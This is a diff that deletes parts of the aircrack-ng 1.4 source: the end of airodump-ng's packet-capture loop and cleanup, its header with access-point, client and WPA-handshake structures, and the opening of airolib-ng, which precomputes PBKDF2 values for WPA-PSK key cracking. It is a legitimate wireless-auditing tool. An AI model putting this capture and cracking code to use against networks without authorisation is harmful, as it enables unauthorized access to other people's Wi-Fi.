-		else
-			usleep(1);
-
-		gettimeofday(&tv2, NULL);
-
-		time_slept += 1000000UL * (tv2.tv_sec - tv1.tv_sec)
-					  + (tv2.tv_usec - tv1.tv_usec);
-
-		if (time_slept > REFRESH_RATE && time_slept > G.update_s * 1000000)
-		{
-			time_slept = 0;
-
-			update_dataps();
-
-			/* update the window size */
-
-			if (ioctl(0, TIOCGWINSZ, &(G.ws)) < 0)
-			{
-				G.ws.ws_row = 50;
-				G.ws.ws_col = 120;
-			}
-
-			if (G.ws.ws_col < 1) G.ws.ws_col = 1;
-			if (G.ws.ws_col > 300) G.ws.ws_col = 300;
-
-			/* display the list of access points we have */
-
-			if (!G.do_pause && !G.background_mode)
-			{
-				pthread_mutex_lock(&(G.mx_print));
-
-				moveto(1, 1);
-				dump_print(G.ws.ws_row, G.ws.ws_col, G.num_cards);
-				erase_display(0);
-
-				pthread_mutex_unlock(&(G.mx_print));
-			}
-			continue;
-		}
-
-		if (G.s_file == NULL && G.s_iface != NULL)
-		{
-			fd_is_set = 0;
-
-			for (i = 0; i < G.num_cards; i++)
-			{
-				if (FD_ISSET(fd_raw[i], &rfds))
-				{
-
-					memset(buffer, 0, sizeof(buffer));
-					h80211 = buffer;
-					if ((caplen = wi_read(wi[i], h80211, sizeof(buffer), &ri))
-						== -1)
-					{
-						wi_read_failed++;
-						if (wi_read_failed > 1)
-						{
-							G.do_exit = 1;
-							break;
-						}
-						memset(G.message, '\x00', sizeof(G.message));
-						snprintf(G.message,
-								 sizeof(G.message),
-								 "][ interface %s down ",
-								 wi_get_ifname(wi[i]));
-
-						// reopen in monitor mode
-
-						strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam) - 1);
-						ifnam[sizeof(ifnam) - 1] = 0;
-
-						wi_close(wi[i]);
-						wi[i] = wi_open(ifnam);
-						if (!wi[i])
-						{
-							printf("Can't reopen %s\n", ifnam);
-
-							/* Restore terminal */
-							show_cursor();
-
-							exit(1);
-						}
-
-						fd_raw[i] = wi_fd(wi[i]);
-						if (fd_raw[i] > fdh) fdh = fd_raw[i];
-
-						break;
-						//                         return 1;
-					}
-
-					read_pkts++;
-
-					wi_read_failed = 0;
-					dump_add_packet(h80211, caplen, &ri, i);
-				}
-			}
-		}
-		else if (G.s_file != NULL)
-		{
-			dump_add_packet(h80211, caplen, &ri, i);
-		}
-	}
-
-	if (G.batt) free(G.batt);
-
-	if (G.elapsed_time) free(G.elapsed_time);
-
-	if (G.own_channels) free(G.own_channels);
-
-	if (G.f_essid) free(G.f_essid);
-
-	if (G.prefix) free(G.prefix);
-
-	if (G.f_cap_name) free(G.f_cap_name);
-
-	if (G.keyout) free(G.keyout);
-
-#ifdef HAVE_PCRE
-	if (G.f_essid_regex) pcre_free(G.f_essid_regex);
-#endif
-
-	for (i = 0; i < G.num_cards; i++) wi_close(wi[i]);
-
-	if (G.record_data)
-	{
-		if (G.output_format_csv) dump_write_csv();
-		if (G.output_format_kismet_csv) dump_write_kismet_csv();
-		if (G.output_format_kismet_netxml) dump_write_kismet_netxml();
-
-		if (G.output_format_csv || G.f_txt != NULL) fclose(G.f_txt);
-		if (G.output_format_kismet_csv || G.f_kis != NULL) fclose(G.f_kis);
-		if (G.output_format_kismet_netxml || G.f_kis_xml != NULL)
-		{
-			fclose(G.f_kis_xml);
-			free(G.airodump_start_time);
-		}
-		if (G.f_gps != NULL) fclose(G.f_gps);
-		if (G.output_format_pcap || G.f_cap != NULL) fclose(G.f_cap);
-		if (G.f_ivs != NULL) fclose(G.f_ivs);
-	}
-
-	if (!G.save_gps)
-	{
-		snprintf((char *) buffer, 4096, "%s-%02d.gps", argv[2], G.f_index);
-		unlink((char *) buffer);
-	}
-
-	ap_prv = NULL;
-	ap_cur = G.ap_1st;
-
-	while (ap_cur != NULL)
-	{
-		// Clean content of ap_cur list (first element: G.ap_1st)
-		uniqueiv_wipe(ap_cur->uiv_root);
-
-		list_tail_free(&(ap_cur->packets));
-
-		if (G.manufList) free(ap_cur->manuf);
-
-		if (G.detect_anomaly) data_wipe(ap_cur->data_root);
-
-		ap_prv = ap_cur;
-		ap_cur = ap_cur->next;
-	}
-
-	ap_cur = G.ap_1st;
-
-	while (ap_cur != NULL)
-	{
-		// Freeing AP List
-		ap_next = ap_cur->next;
-		free(ap_cur);
-		ap_cur = ap_next;
-	}
-
-	st_cur = G.st_1st;
-	st_next = NULL;
-
-	while (st_cur != NULL)
-	{
-		st_next = st_cur->next;
-		if (G.manufList) free(st_cur->manuf);
-		free(st_cur);
-		st_cur = st_next;
-	}
-
-	na_cur = G.na_1st;
-	na_next = NULL;
-
-	while (na_cur != NULL)
-	{
-		na_next = na_cur->next;
-		free(na_cur);
-		na_cur = na_next;
-	}
-
-	if (G.manufList)
-	{
-		oui_cur = G.manufList;
-		while (oui_cur != NULL)
-		{
-			oui_next = oui_cur->next;
-			free(oui_cur);
-			oui_cur = oui_next;
-		}
-	}
-
-	show_cursor();
-
-	return (0);
-}

aircrack-ng-1.4.tar.gz/src/airodump-ng.h Deleted

@@ -1,522 +0,0 @@
-/*
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#ifndef _AIRODUMP_NG_H_
-#define _AIRODUMP_NG_H_
-
-#include "eapol.h"
-
-/* some constants */
-
-#define REFRESH_RATE 100000 /* default delay in us between updates */
-#define DEFAULT_HOPFREQ 250 /* default delay in ms between channel hopping */
-#define DEFAULT_CWIDTH 20 /* 20 MHz channels by default */
-
-#define NB_PWR 5 /* size of signal power ring buffer */
-#define NB_PRB 10 /* size of probed ESSID ring buffer */
-
-#define MAX_CARDS 8 /* maximum number of cards to capture from */
-
-#define STD_OPN 0x0001
-#define STD_WEP 0x0002
-#define STD_WPA 0x0004
-#define STD_WPA2 0x0008
-
-#define STD_FIELD (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)
-
-#define ENC_WEP 0x0010
-#define ENC_TKIP 0x0020
-#define ENC_WRAP 0x0040
-#define ENC_CCMP 0x0080
-#define ENC_WEP40 0x1000
-#define ENC_WEP104 0x0100
-#define ENC_GCMP 0x4000
-
-#define ENC_FIELD                                                              \
-	(ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP40 | ENC_WEP104         \
-	 | ENC_GCMP)
-
-#define AUTH_OPN 0x0200
-#define AUTH_PSK 0x0400
-#define AUTH_MGT 0x0800
-
-#define AUTH_FIELD (AUTH_OPN | AUTH_PSK | AUTH_MGT)
-
-#define STD_QOS 0x2000
-
-#define QLT_TIME 5
-#define QLT_COUNT 25
-
-#define SORT_BY_NOTHING 0
-#define SORT_BY_BSSID 1
-#define SORT_BY_POWER 2
-#define SORT_BY_BEACON 3
-#define SORT_BY_DATA 4
-#define SORT_BY_PRATE 5
-#define SORT_BY_CHAN 6
-#define SORT_BY_MBIT 7
-#define SORT_BY_ENC 8
-#define SORT_BY_CIPHER 9
-#define SORT_BY_AUTH 10
-#define SORT_BY_ESSID 11
-#define MAX_SORT 11
-
-#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
-
-#define PROBE_REQ                                                              \
-	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
-
-// milliseconds to store last packets
-#define BUFFER_TIME 3000
-
-extern int get_ram_size(void);
-char *
-get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2);
-
-#define AIRODUMP_NG_CSV_EXT "csv"
-#define KISMET_CSV_EXT "kismet.csv"
-#define KISMET_NETXML_EXT "kismet.netxml"
-#define AIRODUMP_NG_GPS_EXT "gps"
-#define AIRODUMP_NG_CAP_EXT "cap"
-
-#define NB_EXTENSIONS 6
-
-const unsigned char llcnull[4] = {0, 0, 0, 0};
-char * f_ext[NB_EXTENSIONS] = {AIRODUMP_NG_CSV_EXT,
-							   AIRODUMP_NG_GPS_EXT,
-							   AIRODUMP_NG_CAP_EXT,
-							   IVS2_EXTENSION,
-							   KISMET_CSV_EXT,
-							   KISMET_NETXML_EXT};
-
-extern const unsigned long int crc_tbl[256];
-extern const unsigned char crc_chop_tbl[256][4];
-
-const char * OUI_PATHS[] = {"./airodump-ng-oui.txt",
-							"/etc/aircrack-ng/airodump-ng-oui.txt",
-							"/usr/local/etc/aircrack-ng/airodump-ng-oui.txt",
-							"/usr/share/aircrack-ng/airodump-ng-oui.txt",
-							"/var/lib/misc/oui.txt",
-							"/usr/share/misc/oui.txt",
-							"/var/lib/ieee-data/oui.txt",
-							"/usr/share/ieee-data/oui.txt",
-							"/etc/manuf/oui.txt",
-							"/usr/share/wireshark/wireshark/manuf/oui.txt",
-							"/usr/share/wireshark/manuf/oui.txt",
-							NULL};
-
-#define MIN_RAM_SIZE_LOAD_OUI_RAM 32768
-
-int read_pkts = 0;
-
-int abg_chans[]
-	= {1,   7,   13,  2,   8,   3,   14,  9,   4,   10,  5,   11,  6,
-	   12,  36,  38,  40,  42,  44,  46,  48,  50,  52,  54,  56,  58,
-	   60,  62,  64,  100, 102, 104, 106, 108, 110, 112, 114, 116, 118,
-	   120, 122, 124, 126, 128, 132, 134, 136, 138, 140, 142, 144, 149,
-	   151, 153, 155, 157, 159, 161, 165, 169, 173, 0};
-
-int bg_chans[] = {1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 0};
-
-int a_chans[] = {36,  38,  40,  42,  44,  46,  48,  50,  52,  54,  56,  58,
-				 60,  62,  64,  100, 102, 104, 106, 108, 110, 112, 114, 116,
-				 118, 120, 122, 124, 126, 128, 132, 134, 136, 138, 140, 142,
-				 144, 149, 151, 153, 155, 157, 159, 161, 165, 169, 173, 0};
-
-int * frequencies;
-
-/* linked list of received packets for the last few seconds */
-struct pkt_buf
-{
-	struct pkt_buf * next; /* next packet in list */
-	unsigned char * packet; /* packet */
-	unsigned short length; /* packet length */
-	struct timeval ctime; /* capture time */
-};
-
-/* oui struct for list management */
-struct oui
-{
-	char id[9]; /* TODO: Don't use ASCII chars to compare, use unsigned char[3]
-				   (later) with the value (hex ascii will have to be converted)
-				   */
-	char
-		manuf[128]; /* TODO: Switch to a char * later to improve memory usage */
-	struct oui * next;
-};
-
-/* WPS_info struct */
-struct WPS_info
-{
-	unsigned char version; /* WPS Version */
-	unsigned char state; /* Current WPS state */
-	unsigned char ap_setup_locked; /* AP setup locked */
-	unsigned int meth; /* WPS Config Methods */
-};
-
-#define MAX_AC_MCS_INDEX 8
-
-/* 802.11n channel information */
-struct n_channel_info
-{
-	char mcs_index; /* Maximum MCS TX index     */
-	char sec_channel; /* 802.11n secondary channel*/
-	unsigned char short_gi_20; /* Short GI for 20MHz       */
-	unsigned char short_gi_40; /* Short GI for 40MHz       */
-	unsigned char any_chan_width; /* Support for 20 or 40MHz
-									as opposed to only 20 or
-									only 40MHz               */
-};
-
-/* 802.11ac channel information */
-struct ac_channel_info
-{
-	unsigned char center_sgmt[2];
-	/* 802.11ac Center segment 0*/
-	unsigned char mu_mimo; /* MU-MIMO support          */
-	unsigned char short_gi_80; /* Short GI for 80MHz       */
-	unsigned char short_gi_160; /* Short GI for 160MHz      */
-	unsigned char split_chan; /* 80+80MHz Channel support */
-	unsigned char mhz_160_chan; /* 160 MHz channel support  */
-	unsigned char wave_2; /* Wave 2                   */
-	unsigned char mcs_index[MAX_AC_MCS_INDEX];
-	/* Maximum TX rate          */
-};
-
-enum channel_width_enum
-{
-	CHANNEL_UNKNOWN_WIDTH,
-	CHANNEL_3MHZ,
-	CHANNEL_5MHZ,
-	CHANNEL_10MHZ,
-	CHANNEL_20MHZ,
-	CHANNEL_22MHZ,
-	CHANNEL_30MHZ,
-	CHANNEL_20_OR_40MHZ,
-	CHANNEL_40MHZ,
-	CHANNEL_80MHZ,
-	CHANNEL_80_80MHZ,
-	CHANNEL_160MHZ
-};
-
-/* linked list of detected access points */
-struct AP_info
-{
-	struct AP_info * prev; /* prev. AP in list         */
-	struct AP_info * next; /* next  AP in list         */
-
-	time_t tinit, tlast; /* first and last time seen */
-
-	int channel; /* AP radio channel         */
-	enum channel_width_enum channel_width; /* Channel width            */
-	char standard[3]; /* 802.11 standard: n or ac */
-	struct n_channel_info n_channel; /* 802.11n channel info     */
-	struct ac_channel_info ac_channel; /* 802.11ac channel info    */
-	int max_speed; /* AP maximum speed in Mb/s */
-	int avg_power; /* averaged signal power    */
-	int best_power; /* best signal power    */
-	int power_index; /* index in power ring buf. */
-	int power_lvl[NB_PWR]; /* signal power ring buffer */
-	int preamble; /* 0 = long, 1 = short      */
-	int security; /* ENC_*, AUTH_*, STD_*     */
-	int beacon_logged; /* We need 1 beacon per AP  */
-	int dict_started; /* 1 if dict attack started */
-	int ssid_length; /* length of ssid           */
-	float gps_loc_min[5]; /* min gps coordinates      */
-	float gps_loc_max[5]; /* max gps coordinates      */
-	float gps_loc_best[5]; /* best gps coordinates     */
-
-	unsigned long nb_bcn; /* total number of beacons  */
-	unsigned long nb_pkt; /* total number of packets  */
-	unsigned long nb_data; /* number of  data packets  */
-	unsigned long nb_data_old; /* number of data packets/sec*/
-	int nb_dataps; /* number of data packets/sec*/
-	struct timeval tv; /* time for data per second */
-
-	unsigned char bssid[6]; /* the access point's MAC   */
-	char * manuf; /* the access point's manufacturer */
-	unsigned char essid[MAX_IE_ELEMENT_SIZE];
-	/* ascii network identifier */
-	unsigned long long timestamp;
-	/* Timestamp to calculate uptime   */
-
-	unsigned char lanip[4]; /* last detected ip address */
-	/* if non-encrypted network */
-
-	unsigned char ** uiv_root; /* unique iv root structure */
-	/* if wep-encrypted network */
-
-	int rx_quality; /* percent of captured beacons */
-	int fcapt; /* amount of captured frames   */
-	int fmiss; /* amount of missed frames     */
-	unsigned int last_seq; /* last sequence number        */
-	struct timeval ftimef; /* time of first frame         */
-	struct timeval ftimel; /* time of last frame          */
-	struct timeval ftimer; /* time of restart             */
-
-	char * key; /* if wep-key found by dict */
-	int essid_stored; /* essid stored in ivs file? */
-
-	char decloak_detect; /* run decloak detection? */
-	struct pkt_buf * packets; /* list of captured packets (last few seconds) */
-	char is_decloak; /* detected decloak */
-
-	// This feature eats 48Mb per AP
-	int EAP_detected;
-	unsigned char * data_root; /* first 2 bytes of data if */
-	/* WEP network; used for    */
-	/* detecting WEP cloak	  */
-	/* + one byte to indicate   */
-	/* (in)existence of the IV  */
-
-	int marked;
-	int marked_color;
-	struct WPS_info wps;
-};
-
-/* linked list of detected clients */
-
-struct ST_info
-{
-	struct ST_info * prev; /* the prev client in list   */
-	struct ST_info * next; /* the next client in list   */
-	struct AP_info * base; /* AP this client belongs to */
-	time_t tinit, tlast; /* first and last time seen  */
-	unsigned long nb_pkt; /* total number of packets   */
-	unsigned char stmac[6]; /* the client's MAC address  */
-	char * manuf; /* the client's manufacturer */
-	int probe_index; /* probed ESSIDs ring index  */
-	char probes[NB_PRB][MAX_IE_ELEMENT_SIZE];
-	/* probed ESSIDs ring buffer */
-	int ssid_length[NB_PRB]; /* ssid lengths ring buffer  */
-	int power; /* last signal power         */
-	int best_power; /* best signal power    */
-	int rate_to; /* last bitrate to station   */
-	int rate_from; /* last bitrate from station */
-	struct timeval ftimer; /* time of restart           */
-	int missed; /* number of missed packets  */
-	unsigned int lastseq; /* last seen sequence number */
-	struct WPA_hdsk wpa; /* WPA handshake data        */
-	int qos_to_ds; /* does it use 802.11e to ds */
-	int qos_fr_ds; /* does it receive 802.11e   */
-	int channel; /* Channel station is seen   */
-	float gps_loc_min[5]; /* min gps coordinates      */
-	float gps_loc_max[5]; /* max gps coordinates      */
-	float gps_loc_best[5]; /* best gps coordinates     */
-	/*  Not used yet		  */
-};
-
-/* linked list of detected macs through ack, cts or rts frames */
-
-struct NA_info
-{
-	struct NA_info * prev; /* the prev client in list   */
-	struct NA_info * next; /* the next client in list   */
-	time_t tinit, tlast; /* first and last time seen  */
-	unsigned char namac[6]; /* the stations MAC address  */
-	int power; /* last signal power         */
-	int channel; /* captured on channel       */
-	int ack; /* number of ACK frames      */
-	int ack_old; /* old number of ACK frames  */
-	int ackps; /* number of ACK frames/s    */
-	int cts; /* number of CTS frames      */
-	int rts_r; /* number of RTS frames (rx) */
-	int rts_t; /* number of RTS frames (tx) */
-	int other; /* number of other frames    */
-	struct timeval tv; /* time for ack per second   */
-};
-/* bunch of global stuff */
-
-struct globals
-{
-	struct AP_info *ap_1st, *ap_end;
-	struct ST_info *st_1st, *st_end;
-	struct NA_info *na_1st, *na_end;
-	struct oui * manufList;
-
-	unsigned char prev_bssid[6];
-	unsigned char f_bssid[6];
-	unsigned char f_netmask[6];
-	char ** f_essid;
-	int f_essid_count;
-#ifdef HAVE_PCRE
-	pcre * f_essid_regex;
-#endif
-	char * dump_prefix;
-	char * keyout;
-	char * f_cap_name;
-
-	int f_index; /* outfiles index       */
-	FILE * f_txt; /* output csv file      */
-	FILE * f_kis; /* output kismet csv file      */
-	FILE * f_kis_xml; /* output kismet netxml file */
-	FILE * f_gps; /* output gps file      */
-	FILE * f_cap; /* output cap file      */
-	FILE * f_ivs; /* output ivs file      */
-	FILE * f_xor; /* output prga file     */
-
-	char * batt; /* Battery string       */
-	int channel[MAX_CARDS]; /* current channel #    */
-	int frequency[MAX_CARDS]; /* current frequency #    */
-	int ch_pipe[2]; /* current channel pipe */
-	int cd_pipe[2]; /* current card pipe    */
-	int gc_pipe[2]; /* gps coordinates pipe */
-	float gps_loc[5]; /* gps coordinates      */
-	int save_gps; /* keep gps file flag   */
-	int usegpsd; /* do we use GPSd?      */
-	int * channels;
-	//     int *frequencies;
-	int singlechan; /* channel hopping set 1*/
-	int singlefreq; /* frequency hopping: 1 */
-	int chswitch; /* switching method     */
-	int f_encrypt; /* encryption filter    */
-	int update_s; /* update delay in sec  */
-
-	int is_wlanng[MAX_CARDS]; /* set if wlan-ng       */
-	int is_orinoco[MAX_CARDS]; /* set if orinoco       */
-	int is_madwifing[MAX_CARDS]; /* set if madwifi-ng    */
-	int is_zd1211rw[MAX_CARDS]; /* set if zd1211rw    */
-	volatile int do_exit; /* interrupt flag       */
-	struct winsize ws; /* console window size  */
-
-	char * elapsed_time; /* capture time			*/
-
-	int one_beacon; /* Record only 1 beacon?*/
-
-	unsigned char sharedkey[3][4096]; /* array for 3 packets with a size of \
-							   up to 4096Byte */
-	time_t sk_start;
-	char * prefix;
-	int sk_len;
-	int sk_len2;
-
-	int * own_channels; /* custom channel list  */
-	int * own_frequencies; /* custom frequency list  */
-
-	int record_data; /* do we record data?   */
-	int asso_client; /* only show associated clients */
-
-	char * iwpriv;
-	char * iwconfig;
-	char * wlanctlng;
-	char * wl;
-
-	unsigned char wpa_bssid[6]; /* the wpa handshake bssid   */
-	char message[512];
-	char decloak;
-
-	char is_berlin; /* is the switch --berlin set? */
-	int numaps; /* number of APs on the current list */
-	int maxnumaps; /* maximum nubers of APs on the list */
-	int maxaps; /* number of all APs found */
-	int berlin; /* number of seconds it takes in berlin to fill the whole screen
-				   with APs*/
-	/*
-	 * The name for this option may look quite strange, here is the story behind
-	 * it:
-	 * During the CCC2007, 10 august 2007, we (hirte, Mister_X) went to visit
-	 * Berlin
-	 * and couldn't resist to turn on airodump-ng to see how much access point
-	 * we can
-	 * get during the trip from Finowfurt to Berlin. When we were in Berlin, the
-	 * number
-	 * of AP increase really fast, so fast that it couldn't fit in a screen,
-	 * even rotated;
-	 * the list was really huge (we have a picture of that). The 2 minutes
-	 * timeout
-	 * (if the last packet seen is higher than 2 minutes, the AP isn't shown
-	 * anymore)
-	 * wasn't enough, so we decided to create a new option to change that
-	 * timeout.
-	 * We implemented this option in the highest tower (TV Tower) of Berlin,
-	 * eating an ice.
-	 */
-
-	int show_ap;
-	int show_sta;
-	int show_ack;
-	int hide_known;
-
-	int hopfreq;
-
-	char * s_file; /* source file to read packets */
-	char * s_iface; /* source interface to read from */
-	FILE * f_cap_in;
-	struct pcap_file_header pfh_in;
-	int detect_anomaly; /* Detect WIPS protecting WEP in action */
-
-	char * freqstring;
-	int freqoption;
-	int chanoption;
-	int active_scan_sim; /* simulates an active scan, sending probe requests */
-
-	/* Airodump-ng start time: for kismet netxml file */
-	char * airodump_start_time;
-
-	int output_format_pcap;
-	int output_format_csv;
-	int output_format_kismet_csv;
-	int output_format_kismet_netxml;
-	pthread_t input_tid;
-	int sort_by;
-	int sort_inv;
-	int start_print_ap;
-	int start_print_sta;
-	int selected_ap;
-	int selected_sta;
-	int selection_ap;
-	int selection_sta;
-	int mark_cur_ap;
-	int num_cards;
-	int skip_columns;
-	int do_pause;
-	int do_sort_always;
-
-	pthread_mutex_t mx_print; /* lock write access to ap LL   */
-	pthread_mutex_t mx_sort; /* lock write access to ap LL   */
-
-	unsigned char selected_bssid[6]; /* bssid that is selected */
-
-	int ignore_negative_one;
-	u_int maxsize_essid_seen;
-	int show_manufacturer;
-	int show_uptime;
-	int file_write_interval;
-	u_int maxsize_wps_seen;
-	int show_wps;
-#ifdef CONFIG_LIBNL
-	int htval;
-#endif
-	int background_mode;
-} G;
-
-#endif

aircrack-ng-1.4.tar.gz/src/airolib-ng.c Deleted

@@ -1,1440 +0,0 @@
-/*
- *  A tool to compute and manage PBKDF2 values as used in WPA-PSK and WPA2-PSK
- *
- *  Copyright (C) 2007-2009 ebfe
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdint.h>
-#include <string.h>
-#include <sqlite3.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <unistd.h>
-#include <getopt.h>
-#include <fcntl.h>
-#include <signal.h>
-
-#include "cowpatty.h"
-#include "crypto.h"
-#ifdef HAVE_REGEXP
-#include <regex.h>
-#endif
-#include "version.h"
-
-#define IMPORT_ESSID "essid"
-#define EXPORT_ESSID IMPORT_ESSID
-#define IMPORT_PASSWD "passwd"
-#define IMPORT_PASSWD_ALT "password"
-#define IMPORT_COWPATTY "cowpatty"
-#define EXPORT_COWPATTY IMPORT_COWPATTY
-
-int exit_airolib;
-
-static void print_help(const char * msg)
-{
-	char * version_info
-		= getVersion("Airolib-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-	printf("\n"
-		   "  %s - (C) 2007, 2008, 2009 ebfe\n"
-		   "  https://www.aircrack-ng.org\n"
-		   "\n"
-		   "  Usage: airolib-ng <database> <operation> [options]\n"
-		   "\n"
-		   "  Operations:\n"
-		   "\n"
-		   "       --stats        : Output information about the database.\n"
-		   "       --sql <sql>    : Execute specified SQL statement.\n"
-		   "       --clean [all]  : Clean the database from old junk. 'all' "
-		   "will also \n"
-		   "                        reduce filesize if possible and run an "
-		   "integrity check.\n"
-		   "       --batch        : Start batch-processing all combinations of "
-		   "ESSIDs\n"
-		   "                        and passwords.\n"
-		   "       --verify [all] : Verify a set of randomly chosen PMKs.\n"
-		   "                        If 'all' is given, all invalid PMK will be "
-		   "deleted.\n"
-		   "\n"
-		   "       --import [%s|%s] <file>   :\n"
-		   "                        Import a text file as a list of ESSIDs or "
-		   "passwords.\n"
-		   "       --import %s <file>         :\n"
-		   "                        Import a cowpatty file.\n"
-		   "\n"
-		   "       --export %s <%s> <file> :\n"
-		   "                        Export to a cowpatty file.\n"
-		   "\n",
-		   version_info,
-		   IMPORT_ESSID,
-		   IMPORT_PASSWD,
-		   IMPORT_COWPATTY,
-		   EXPORT_COWPATTY,
-		   EXPORT_ESSID);
-	free(version_info);
-
-	if (msg && strlen(msg) > 0)
-	{
-		printf("%s", msg);
-		puts("");
-	}
-}
-
-static void sighandler(int signum)
-{
-#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
-	_PGOPTI_Prof_Dump();
-#endif
-#if !defined(__CYGWIN__)
-	// We can't call this on cygwin or we will sometimes end up
-	// having all our threads die with exit code 35584 fairly reproducible
-	// at around 2.5-3% of runs
-	signal(signum, sighandler);
-#endif
-
-	if (signum == SIGQUIT) exit_airolib = 1;
-
-	if (signum == SIGTERM) exit_airolib = 1;
-
-	if (signum == SIGINT) exit_airolib = 1;
-}
-
-static void sql_error(sqlite3 * db)
-{
-	fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db));
-}
-
-static int
-sql_exec_cb(sqlite3 * db, const char * sql, void * callback, void * cb_arg)
-{
-#ifdef SQL_DEBUG
-	printf(sql);
-	printf("\n");
-	fflush(stdout);
-#endif
-	int rc;
-	char * zErrMsg = 0;
-	char looper[4] = {'|', '/', '-', '\\'};
-	int looperc = 0;
-	int waited = 0;
-	while (1)
-	{
-		rc = sqlite3_exec(db, sql, callback, cb_arg, &zErrMsg);
-		if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY)
-		{
-			fprintf(stdout,
-					"Database is locked or busy. Waiting %is ... %1c    \r",
-					++waited,
-					looper[looperc++ % sizeof(looper)]);
-			fflush(stdout);
-			sleep(1);
-		}
-		else
-		{
-			if (rc != SQLITE_OK)
-			{
-				fprintf(stderr, "SQL error. %s\n", zErrMsg);
-				sqlite3_free(zErrMsg);
-			}
-			if (waited != 0) printf("\n\n");
-			return rc;
-		}
-	}
-}
-
-// execute sql fast and hard.
-static int sql_exec(sqlite3 * db, const char * sql)
-{
-	return sql_exec_cb(db, sql, 0, 0);
-}
-
-// wrapper for sqlite3_step which retries executing statements if the db returns
-// SQLITE_BUSY or SQLITE_LOCKED
-static int sql_step(sqlite3_stmt * stmt, int wait)
-{
-	int rc;
-	char looper[4] = {'|', '/', '-', '\\'};
-	int looperc = 0;
-	int waited = 0;
-	while (1)
-	{
-		rc = sqlite3_step(stmt);
-		if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY)
-		{
-			if (wait != 0)
-			{
-				fprintf(stdout,
-						"Database is locked or busy. Waiting %is ... %1c    \r",
-						++waited,
-						looper[looperc]);
-				fflush(stdout);
-				wait--;
-				looperc = looperc + 1 % sizeof(looper);
-				sleep(1);
-			}
-			else
-			{
-				fprintf(stderr,
-						"Database was locked or busy while getting "
-						"results. I've given up.\n");
-				return rc;
-			}
-		}
-		else
-		{
-			if (waited != 0) printf("\n\n");
-			return rc;
-		}
-	}
-}
-
-// wrapper for sqlite3_prepare_v2 which retries creating statements if the db
-// returns SQLITE_BUSY or SQLITE_LOCKED
-static int
-sql_prepare(sqlite3 * db, const char * sql, sqlite3_stmt ** ppStmt, int wait)
-{
-#ifdef SQL_DEBUG
-	printf(sql);
-	printf("\n");
-	fflush(stdout);
-#endif
-	int rc;
-	char looper[4] = {'|', '/', '-', '\\'};
-	int looperc = 0;
-	int waited = 0;
-	while (1)
-	{
-		rc = sqlite3_prepare_v2(db, sql, -1, ppStmt, NULL);
-		if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY)
-		{
-			if (wait != 0)
-			{
-				fprintf(stdout,
-						"Database is locked or busy. Waiting %is ... %1c    \r",
-						++waited,
-						looper[looperc]);
-				fflush(stdout);
-				wait--;
-				looperc = looperc + 1 % sizeof(looper);
-				sleep(1);
-			}
-			else
-			{
-				fprintf(stderr,
-						"Database was locked or busy while creating "
-						"statement. I've given up.\n");
-				return rc;
-			}
-		}
-		else
-		{
-			if (waited != 0) printf("\n\n");
-			return rc;
-		}
-	}
-}
-
-// generic function to dump a resultset including column names to stdout
-static int stmt_stdout(sqlite3_stmt * stmt, int * rowcount)
-{
-	int ccount;
-	int rcount = 0;
-	int rc;
-	if (stmt == 0 || (ccount = sqlite3_column_count(stmt)) == 0)
-	{
-		return sql_step(stmt, 0);
-	}
-
-	int i = 0;
-	do
-	{
-		printf("%s", sqlite3_column_name(stmt, i++));
-		if (i < ccount) printf("\t");
-	} while (i < ccount);
-	printf("\n");
-
